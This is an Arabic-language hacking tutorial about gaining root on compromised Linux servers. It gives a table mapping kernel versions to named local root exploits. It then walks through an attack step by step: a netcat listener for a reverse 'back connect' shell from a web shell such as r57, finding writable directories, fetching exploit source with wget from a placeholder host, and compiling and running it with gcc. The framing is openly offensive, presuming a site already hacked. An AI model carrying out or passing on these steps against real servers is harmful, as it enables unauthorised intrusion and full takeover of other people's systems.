Local
root Exploit
كثيرا ما نسمع عن هذا الصطلح لكن قلة من يفهمه و قادر على استعماله. ان شاء الله سنشرح بتعمق و ببصاطة هذا المفهوم. على فكرة افضل الشروح للتعلم هي المقالية . بسم الله نبدأ
انضمة GNU/Linux الاكثر انتشارا و استعمالا في ساحة الويب و رغم قوتها الا انها لا تخلو من اخطاء برمجية يستفيد منها الهكر و Local
root هو ضعف في نواة لنكس يستتمره الهكر للحصول على
صلاحيات root على السرفر . كانت مقدمة بسيطة للتوضيح لمن لا يعرف و الان ندخل في الجد كما قلت Local
root هو خطأ برمجي في نواة لنكس للحصول على
صلاحيات root - rooting و السيطرة بالكامل على السرفر و لفعل دالك لابد من شروط يجب توفرها الشرط المهم و الاساسي هو ان لا تكون نواة لنكس قد تمت ترقيتها بمعني تم تصحيح الخطأ البرمجي Pateched في هذه الحالة لن يعمل Local
root لأن الخطأ البرمجي الذي يستغله قد صحح. كما يلزمنا Safe Mod: OFF لاجل تنفيد بعض الاوامر و في حالة Safe Mod: On هناك طرق عدة لتخطيه ليست موصوعنا في هذا المقال كما لازم اكون لدينا
صلاحيات على gcc لاجل ترجمة Local
root في حالة انعدام التصريح بالإستعمال
gcc لا يبقى سوى ترجمته على سرفر آخر ورفع الملف المترجم على السرفر المستهدف لكن ذي غالبا مايكون بها مشاكل ربما كثير منكم لم يفهم هذه النقطة و خاصة المبتذئين منكم و الذين ليست لهم دراية بانضمة GNU/Linix لدا سأبسط اكثر ليسهل الفهم , Local
root الدي سنستعمل للحصل على
صلاحيات root مكتوب بلغة c اي انه كود مصدري لا يمكن استعماله مباشرة لان النظام وهو هنا هو linux لا يفهم هذه اللغة مباشرة من كودها المصدري بل تحتاج الى ترجمة ليتمكن النظام من تشغيله و هذا هو دور gcc اي انه يقوم بترجمة coude source الملفات المصدرية مكتوبة بلغة c إلي ملفات تنفيذية ليتمكن النظام من تنفيدها أعقد أنه واضح Local
root مكتوب بلغة c نقوة بترجمته بواسطة gcc للحصول على ملف تنفيذي لكي نتمكن
من تشغيله للحصول على
صلاحيات root. ربما منكم من يقول لي لماذا هذا العذاب كله رفع Local
root على السرفر تم ترجمته لماذا لا نترجمه على حاسوبي و أحتفظ به كلما إحتجته رفعته مترجم دون وجع راس أو أترجمه على سرفر و أحتفض به كلما إحتجته إستعملته. طيب شوفو معي و سأشرح ببصاطة شديدة، كلنا نعرف الملفات التنفيدية على انظمة وندوز أينما وضعتها تعمل على الوندوز بسبب بسيط هو أن للوندوز تقريبا نفس النواة لجميع الإصدارات وهذا شيء عادي لأن شركة واحدة هى التي تستحوذ عليه ميكروسوفت ومن البديهي أن جميع إصداراتها تكون متوافقة لكن بالنسبة لأنضمة GNU/Linux هناك أكثر من 5 ملايين توزيعة لمئات الشركات لأنه مفتوح المصدر فكل شركة أو منظمة تقوم بالتغير في النواة على حسب متطلباتها و إحتياجاتها لذالك لدينا هذا العدد الهائل من التوزيعات أي هناك ملفات تنفيدية تعمل على توزيعة دون غيرها لذالك نحمل الكود المصدري و نقوم بترجمته
لكي يتلائم مع نظامنا و يعمل دون مشاكل كما ان Local
root مرتبط باصدار النواة Karnel فكل إصدار لهLocal
root خاص به و هذا ما يوضحه هذا الجدول :
كود PHP:
Kernel Version : Root Exploit
2.2.27 : elfcd1
2.2.x : ptrace24
2.4.17 : newlocal
2.4.18 : ptrace
2.4.19 : ptrace
2.4.20 : ptrace
2.4.21 : ptrace
2.4.22-10 : loginx
2.4.22 : ptrace
2.4.23 : hatorihanzo
2.4.24 : mremap_pte
2.4.25 : mremap_pte
2.4.26 : mremap_pte
2.4.27 : mremap_pte
2.4.29 : 1
2.4.x : ptrace-kmod
2.4 2.6 : pwned
2.6.2 : h00lyshit
2.6.4 : hudo
2.6.5 : h00lyshit
2.6.7 : h00lyshit
2.6.8 : h00lyshit
2.6.9-34 : h00lyshit
2.6.9 : h00lyshit
2.6.10 : h00lyshit
2.6.11 : k-rad
2.6.12 : binfmt_elf
2.6.13 : h00lyshit
2.6.14 : h00lyshit
2.6.15 : h00lyshit
2.6.16 : h00lyshit
2.6.17 : prct1
2.6.x : h00lyshit
2.6.17 - 2.6.24.1 : jessica
2.6.23 - 2.6.24 : vmsplice
FreeBSD 4.4-4.6 : bsd
FreeBSD 4.8 : 48local
FreeBSD 5.3 : exploit [source ]~freedbs5.3
Mac OS X : macosX
RedHat 7.3 : afd-expl
RedHat 8.0 : 0x82-Remote.tannehehe.xpl.c
RedHat 7.0 : crontab
RedHat 7.1 : rh71sm8
أعتقد الآن كل شيء واضح كلنا نعرف الآن Local
root بقي لنا كيفية إستعماله ، تابعو معي و ان شاء الله نكمل الشرح.الان اخترقنا موقع و رفعنا الشيل و Safe_mode = Off و كل شيء تمام حلو، الخطوة القادمة معرفة إصدار Karnel إما بواسطة الشيل و أنا أفضل r57 أو نفد عن طريق الشيل الأمر uname - a حصلنا على الإصدار Karnel بقي
الحصول على Local
root الموافق للإصدار، دور بالنت بتلاقي بلاوي، طيب أنا لقيت Local
root للإصدار لعندي مثلا في في هذا الموقع
http://www.xxx.com/localroot/h00lyshit.c هناك مواقع حماية كثيرة تقدم لك Local
root .الى الان كل شيء تمام الخطوة الثالية عمل Back connect مع السرفر ,في منكم حيتسائل شو قلت Back connect وش ذي كمان، طيب بصط أكثر هي طريقة نخلي السرفر يتصل بنا على بورت معين لتخطي الجدار الناري لسرفر firewall . بإستطاعتنا فتح بورت بالسرفر باستعمال
Binding port و هي خاصية بالشيل تستطيع استعمالها تحدد البورت و passwd و نوع السكريبت المستعمل Perl او c و تعمل Bind و بكدا تكون فتحت بورت بالسرفر و بعين تتصل NetCat بالسرفر لكن في حالة وجود جدار ناري بالسرفر لا نستطيع الإتصال لأنه يعمل block لأي إتصال لغير المنافد المسموح لها لذالك لتخطي هذا المشكل نخلي السرفر هو الذي يتصل بنا و لكن يجب ان يكون ip لجهازك Public Ipاي معروف على مستوى العالم
و ليس Private Ip كموديمات 3G أعتقد انه واضح. طيب لعمل back connect اما عن طريق الشيل ك c99 او r57 او باستعمال backdoor لاسهل الامر بستعمل الشيل و انا بفضل r57. نروح الى Back connection بالشيل هي موجودة بالاسفل في r57 أو clikc على Tools ب c99.
الان نروح على NetCat و نفتح بورت بجهازنا يعني نتنصت على البورت لي حيتصل به السرفر بنا
كود PHP:
nc -n -l -v -p 31373
الان بقي نخلي السرفر يتصل بنا على نفس البورت، نروح على الشيل و في خاصية Back Connect نحط Ip تبعنا و بورت الإتصال و نعمل connect و نروح على Netcat و نشوف Now script try connect to (your ip here) on port 31373... ادا كان كل شيء تمام NetCat ستعطيك shell console على السرفر بصلاحيات محدودة. قد تتسائل لماذا لا ننفد كل هذا من الشيل دون back connect بلا وجع راس، بجاوبك الشيل ينفذ أوامر على النظام باستخدام دوال php اشهرها : shell_exec , system , exec بتكون محدودة من سرفر لآخر يعني أنت لا تنفد أوامر على السرفر مباشرة يعني انت متصل بالسرفر باستعمال البروتكول http يعني مقيد بمجموعة من العوامل كا open_basedir مثلا ادا كانت مفعلة، كان بودي اشرح اكثر لكن مو موضوعنا لدالك نقوم بعمل back conecct كما لو اننا متصلين عن طريق ssh. الان نبحث عن مجلد لرفع Local
root لكن بصلاحيات الكتابة، و لفعل دالك ننفد امر للبحث find / -perm -2 -ls او نستخدم tmp فهو يملك هذا التصريح دائما, الان ندخل على المجلد لوجدنا به تصريح الكتابة او ندخل على ملف temp بالامر cd /tmp الان نقوم برفع Local
root الموافق لاصدار Karnel بالامر
كود PHP:
wget http://www.xxx/localroot/h00lyshit.c
من shell console دائما نتاكد من ان local Rootقد رفع بتفيد الامر ls ثم نعطيه تصريح 777 باستعمال الامر chmod 777 h00lyshit.c الان نقوم بترجمة Loca
root الذي رفعناه بالامر gcc h00lyshit.c -o h00lyshi بعد الترجمة حصلنا على ملف تنفيدي لا يبقى سوى تشغيله للحصول على
صلاحيات root بالأمر ./h00lyshit ننتظر قليلا ثم نشوف
صلاحيات في حالة عدم
الحصول على
root فان karnel قد تمت ترقيتها Patched و بذالك دهب كل الشغل ذا في الصفر لكن لا تزعلوا ان شاء الله في المقال القادم إذا ما متنا بكتب شرح للحصول على
root من خلال MySQL سواء في أنظمة GNU/Linux أو windows بطريقة جديدة و حلوة لكن بدها شطارة